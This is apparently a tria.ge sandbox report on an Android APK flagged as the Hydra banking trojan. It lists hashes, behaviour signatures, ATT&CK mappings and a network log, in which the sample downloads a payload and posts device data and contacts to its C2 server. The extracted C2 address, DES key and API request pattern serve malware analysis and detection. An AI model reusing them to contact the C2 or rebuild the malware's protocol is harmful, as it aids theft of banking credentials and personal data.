Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

6

5cf3c42df6...8c.apk

android-9-x86

10

5cf3c42df6...8c.apk

android-10-x64

10

5cf3c42df6...8c.apk

android-11-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    android_x64
  • resource
    android-x64-20240624-en
  • resource tags

    androidarch:x64arch:x86image:android-x64-20240624-enlocale:en-usos:android-10-x64system
  • submitted
    19/10/2024, 22:03 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5cf3c42df6108e5cfba40917a4b26e4ff7de3971826116f84ae94d91ada87f8c.apk

  • Size

    4.4MB

  • MD5

    feb0ce6aa37f05709d90050d85b6dab2

  • SHA1

    c5a6ccf21f70bf769e1f98460a65809575de1ae7

  • SHA256

    5cf3c42df6108e5cfba40917a4b26e4ff7de3971826116f84ae94d91ada87f8c

  • SHA512

    ada2c797c838df1e5c211b152f092ecb950e70a406ead4052ec7fddfa3d13b2ce5ecd87b4ae3ef5656c12cce0b0a64ef2f1b0aaa0f75f35e3a9cb36ad499c735

  • SSDEEP

    98304:ebt5qfxMiVJcfyoEOWYSe8YTW5tYtMKBB2K9N:ebPHSJc63pe/y5tcMaB2gN

Score
10/10
hydrabankercollectioncredential_accessdiscoveryevasioninfostealerpersistencetrojan

Malware Config

Extracted

Family

hydra

C2

http://halukdari.com

DES_key
1
697a6762766e6c66

Signatures

  • Hydra

    Android banker and info stealer.

    bankertrojaninfostealerhydra
  • Hydra payload 1 IoCs
  • Loads dropped Dex/Jar 1 TTPs 2 IoCs

    Runs executable file dropped to the device during analysis.

    evasion
  • Makes use of the framework's Accessibility service 4 TTPs 2 IoCs

    Retrieves information displayed on the phone screen using AccessibilityService.

    collectionevasioncredential_access
  • Queries a list of all the installed applications on the device (Might be used in an attempt to overlay legitimate apps) 1 TTPs
    bankerdiscovery
  • Reads the contacts stored on the device. 1 TTPs 1 IoCs
    collection
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Makes use of the framework's foreground persistence service 1 TTPs 1 IoCs

    Application may abuse the framework's foreground service to continue running in the foreground.

    evasionpersistence
  • Performs UI accessibility actions on behalf of the user 1 TTPs 1 IoCs

    Application may abuse the accessibility service to prevent their removal.

    evasion
  • Queries information about active data network 1 TTPs 1 IoCs
    discovery
  • Queries the mobile country code (MCC) 1 TTPs 1 IoCs
    discovery
  • Registers a broadcast receiver at runtime (usually for listening for system events) 1 TTPs 1 IoCs
    persistence

Processes

  • com.isvsphxrm.yspbthlrh
    1⤵
    • Loads dropped Dex/Jar
    • Makes use of the framework's Accessibility service
    • Reads the contacts stored on the device.
    • Makes use of the framework's foreground persistence service
    • Performs UI accessibility actions on behalf of the user
    • Queries information about active data network
    • Queries the mobile country code (MCC)
    • Registers a broadcast receiver at runtime (usually for listening for system events)
    PID:5001

Network

  • flag-us
    DNS
    ssl.google-analytics.com
    Remote address:
    1.1.1.1:53
    Request
    ssl.google-analytics.com
    IN A
    Response
    ssl.google-analytics.com
    IN A
    216.58.213.8
  • flag-us
    DNS
    halukdari.com
    Remote address:
    1.1.1.1:53
    Request
    halukdari.com
    IN A
    Response
    halukdari.com
    IN A
    46.173.214.61
  • flag-us
    DNS
    halukdari.com
    Remote address:
    1.1.1.1:53
    Request
    halukdari.com
    IN A
  • flag-us
    DNS
    android.apis.google.com
    Remote address:
    1.1.1.1:53
    Request
    android.apis.google.com
    IN A
    Response
    android.apis.google.com
    IN CNAME
    clients.l.google.com
    clients.l.google.com
    IN A
    142.250.187.238
  • flag-ru
    GET
    http://halukdari.com/payload
    Remote address:
    46.173.214.61:80
    Request
    GET /payload HTTP/1.1
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:24 GMT
    Content-Type: application/octet-stream
    Content-Length: 997816
    Connection: close
    Last-Modified: Sat, 21 Sep 2024 12:58:29 GMT
    ETag: "66eec2f5-f39b8"
    Accept-Ranges: bytes
  • flag-ru
    GET
    http://halukdari.com/api/v1/device/check?screen=true
    Remote address:
    46.173.214.61:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:24 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/lock
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/lock HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 18
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:26 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/storage/zip/tlDua4fxvLKqjkeQnK6WnnvayKBo8dPelTWNmICd.zip
    Remote address:
    46.173.214.61:80
    Request
    GET /storage/zip/tlDua4fxvLKqjkeQnK6WnnvayKBo8dPelTWNmICd.zip HTTP/1.1
    Range: bytes=0-
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 206 Partial Content
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:29 GMT
    Content-Type: application/zip
    Content-Length: 75725632
    Connection: close
    Last-Modified: Wed, 09 Oct 2024 18:50:58 GMT
    ETag: "6706d092-4837b40"
    Content-Range: bytes 0-75725631/75725632
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/server-log
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:26 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/api/mirrors
    Remote address:
    46.173.214.61:80
    Request
    GET /api/mirrors HTTP/1.1
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:27 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
    Content-Encoding: gzip
  • flag-us
    DNS
    ip-api.com
    Remote address:
    1.1.1.1:53
    Request
    ip-api.com
    IN A
    Response
    ip-api.com
    IN A
    208.95.112.1
  • flag-us
    GET
    http://ip-api.com/json
    Remote address:
    208.95.112.1:80
    Request
    GET /json HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: ip-api.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Date: Sat, 19 Oct 2024 22:04:28 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 289
    Access-Control-Allow-Origin: *
    X-Ttl: 18
    X-Rl: 41
  • flag-ru
    POST
    http://halukdari.com/api/v1/device
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 166
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:29 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 6166
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:30 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/update
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/update HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 31
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:30 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/contacts
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/contacts HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 15
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:30 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/api/v1/device/check?screen=true
    Remote address:
    46.173.214.61:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:39 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/server-log
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:40 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/api/v1/device/check?screen=true
    Remote address:
    46.173.214.61:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:04:59 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/server-log
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:05:02 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/api/v1/device/check?screen=true
    Remote address:
    46.173.214.61:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:05:21 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/server-log
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:05:22 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/api/v1/device/check?screen=true
    Remote address:
    46.173.214.61:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:05:41 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/server-log
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:05:43 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/api/v1/device/check?screen=true
    Remote address:
    46.173.214.61:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:06:01 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/server-log
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:06:03 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://halukdari.com/api/v1/device/check?screen=true
    Remote address:
    46.173.214.61:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:06:23 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://halukdari.com/api/v1/device/server-log
    Remote address:
    46.173.214.61:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: fbd4915e654343f2
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 2 Build/QSR1.210802.001)
    Host: halukdari.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 22:06:26 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: no-cache, private
  • 216.58.213.8:443
    ssl.google-analytics.com
    tls
    1.7kB
     7.3kB
     12
    11
  • 142.250.179.238:443
    tls, https
    857 B
     40 B
     1
    1
  • 142.250.187.238:443
    android.apis.google.com
    tls
    9.1kB
     10.2kB
     21
    28
  • 46.173.214.61:80
    http://halukdari.com/payload
    http
    15.7kB
     1.0MB
     280
    674

    HTTP Request

    GET http://halukdari.com/payload

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/check?screen=true
    http
    1.0kB
     21.3kB
     14
    18

    HTTP Request

    GET http://halukdari.com/api/v1/device/check?screen=true

    HTTP Response

    200
  • 46.173.214.61:80
    halukdari.com
    120 B
     2
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/lock
    http
    876 B
     443 B
     5
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/lock

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/storage/zip/tlDua4fxvLKqjkeQnK6WnnvayKBo8dPelTWNmICd.zip
    http
    118.7kB
     10.3MB
     2132
    6279

    HTTP Request

    GET http://halukdari.com/storage/zip/tlDua4fxvLKqjkeQnK6WnnvayKBo8dPelTWNmICd.zip

    HTTP Response

    206
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/server-log
    http
    633 B
     473 B
     4
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/server-log

    HTTP Response

    403
  • 46.173.214.61:80
    http://halukdari.com/api/mirrors
    http
    445 B
     804 B
     5
    4

    HTTP Request

    GET http://halukdari.com/api/mirrors

    HTTP Response

    200
  • 208.95.112.1:80
    http://ip-api.com/json
    http
    452 B
     638 B
     5
    4

    HTTP Request

    GET http://ip-api.com/json

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device
    http
    924 B
     12.2kB
     9
    12

    HTTP Request

    POST http://halukdari.com/api/v1/device

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device
    http
    7.1kB
     12.2kB
     12
    13

    HTTP Request

    POST http://halukdari.com/api/v1/device

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/update
    http
    651 B
     722 B
     6
    5

    HTTP Request

    POST http://halukdari.com/api/v1/device/update

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/contacts
    http
    521 B
     443 B
     4
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/contacts

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/check?screen=true
    http
    842 B
     19.9kB
     11
    18

    HTTP Request

    GET http://halukdari.com/api/v1/device/check?screen=true

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/server-log
    http
    633 B
     473 B
     4
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/server-log

    HTTP Response

    403
  • 142.250.180.4:443
    tls, https
    454 B
     40 B
     2
    1
  • 142.250.180.4:443
    www.google.com
    tls
    9.0kB
     9.9kB
     35
    33
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/check?screen=true
    http
    842 B
     19.7kB
     11
    14

    HTTP Request

    GET http://halukdari.com/api/v1/device/check?screen=true

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/server-log
    http
    693 B
     473 B
     5
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/server-log

    HTTP Response

    403
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/check?screen=true
    http
    1.0kB
     19.7kB
     14
    13

    HTTP Request

    GET http://halukdari.com/api/v1/device/check?screen=true

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/server-log
    http
    685 B
     473 B
     5
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/server-log

    HTTP Response

    403
  • 216.58.201.98:443
    520 B
     10
  • 172.217.169.46:443
    520 B
     10
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/check?screen=true
    http
    946 B
     19.8kB
     13
    16

    HTTP Request

    GET http://halukdari.com/api/v1/device/check?screen=true

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/server-log
    http
    693 B
     473 B
     5
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/server-log

    HTTP Response

    403
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/check?screen=true
    http
    790 B
     19.9kB
     10
    18

    HTTP Request

    GET http://halukdari.com/api/v1/device/check?screen=true

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/server-log
    http
    633 B
     473 B
     4
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/server-log

    HTTP Response

    403
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/check?screen=true
    http
    1.3kB
     19.8kB
     15
    16

    HTTP Request

    GET http://halukdari.com/api/v1/device/check?screen=true

    HTTP Response

    200
  • 46.173.214.61:80
    http://halukdari.com/api/v1/device/server-log
    http
    1.6kB
     473 B
     6
    4

    HTTP Request

    POST http://halukdari.com/api/v1/device/server-log

    HTTP Response

    403
  • 224.0.0.251:5353
    3.7kB
     11
  • 1.1.1.1:53
    ssl.google-analytics.com
    dns
    70 B
     86 B
     1
    1

    DNS Request

    ssl.google-analytics.com

    DNS Response

    216.58.213.8

  • 1.1.1.1:53
    halukdari.com
    dns
    118 B
     75 B
     2
    1

    DNS Request

    halukdari.com

    DNS Request

    halukdari.com

    DNS Response

    46.173.214.61

  • 1.1.1.1:53
    android.apis.google.com
    dns
    69 B
     109 B
     1
    1

    DNS Request

    android.apis.google.com

    DNS Response

    142.250.187.238

  • 1.1.1.1:53
    ip-api.com
    dns
    56 B
     72 B
     1
    1

    DNS Request

    ip-api.com

    DNS Response

    208.95.112.1

MITRE ATT&CK Mobile v15

Initial Access

Execution

Persistence

Event Triggered Execution

1
T1624

Broadcast Receivers

1
T1624.001

Foreground Persistence

1
T1541

Privilege Escalation

Defense Evasion

Download New Code at Runtime

1
T1407

Foreground Persistence

1
T1541

Impair Defenses

1
T1629

Prevent Application Removal

1
T1629.001

Input Injection

1
T1516

Credential Access

Input Capture

2
T1417

GUI Input Capture

1
T1417.002

Keylogging

1
T1417.001

Discovery

Software Discovery

1
T1418

Security Software Discovery

1
T1418.001

System Network Configuration Discovery

1
T1422

System Network Connections Discovery

1
T1421

Lateral Movement

Collection

Input Capture

2
T1417

GUI Input Capture

1
T1417.002

Keylogging

1
T1417.001

Protected User Data

1
T1636

Contact List

1
T1636.003

Screen Capture

1
T1513

Command and Control

Exfiltration

Impact

Input Injection

1
T1516

Replay Monitor

Loading Replay Monitor...

Downloads

  • /data/data/com.isvsphxrm.yspbthlrh/app_apk/payload.apk
    Filesize

    974KB

    MD5

    3baeaa766ea7f31a9147208efd957c75

    SHA1

    c701de3d0e55425394ccbf8e0967639e86f3c54e

    SHA256

    75e162dc291e15d13b0f3202a66e0c88ff2db09ec02922ee64818dbddcb78d6d

    SHA512

    9f3ccb1fc9a177524ba2d39f809be4851af385073463893bd4a8664308253fc0da2b9ab330c85675dbe9ce0c44b631a0d1ec7800491687c7b2540504b351295f

    Download Submit

  • /data/data/com.isvsphxrm.yspbthlrh/app_dex/classes.dex
    Filesize

    2.7MB

    MD5

    104bd3721fb3ea7a80569c8f12a6f825

    SHA1

    538fbf0f40c3e8d2cb9bf4a4fb9f015239c55942

    SHA256

    063c7892cfe25c87eb0f7c3268b16fbed7189fec9f2ee732c628a8a18a35ec76

    SHA512

    3e7c3837d238363c7a79a1d3fb65d35adf387d3a2d70d815b8f4b166eddfc57585686bfb84610766dffe9debcfb06870af89c30dc8b6fff039fffffe274d6e9b

    Download Submit

  • /data/data/com.isvsphxrm.yspbthlrh/cache/classes.dex
    Filesize

    1.3MB

    MD5

    77ad5069a51cbeefe4d94bddd0c57d8d

    SHA1

    79a1501f0da11f2b15ebe51e89edc23e59672d08

    SHA256

    77bead88b46487130a686e1472184e9c18b87da65c022418c80cefb899247094

    SHA512

    f951b81a6e1f4ff9ac653f4fbf42eee766804bd96b833c887eb07067fe9e153c3f6552f7731774b3c4555f145450df77a2f14ba23f61d4a6219ce9ebd911b84f

    Download Submit

  • /data/data/com.isvsphxrm.yspbthlrh/cache/classes.zip
    Filesize

    1.3MB

    MD5

    ea551ac69a00780fb800b7bd313080b0

    SHA1

    cfd31c4b63cbb9ff2e7ff662be41451881b371dd

    SHA256

    0aa1079241a43a356e573b3e9b97d4a920736b46310a4d2dc5deacfba7cb1943

    SHA512

    296adba604f2f56e4c79cdf18674c053d70256eebbd6ba7dcdbc8244ccaba6433099c9016a8dc2ff38402cd6883df8105092d2d960730d3e5079c3e1b22d8b4f

    Download Submit

  • /data/data/com.isvsphxrm.yspbthlrh/cache/tlDua4fxvLKqjkeQnK6WnnvayKBo8dPelTWNmICd.zip
    Filesize

    9.4MB

    MD5

    63f8d7674c32f392c5be174ea580c709

    SHA1

    dd08b8049d0d067c7a5b1e9868ea2f0339b34ae4

    SHA256

    0f19436052f1c21da0716b740b42409c6aa0907879522c1e684ff43ad0ba43f8

    SHA512

    f5f1d76bb7d13e9b7af680c2ea540076e2a05ca579af5e8bc0d75fc47636b613cbfebc1b63b345eb13055ada0dad987483e6f1baa4f666bd912a28a73e95f824

    Download Submit

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.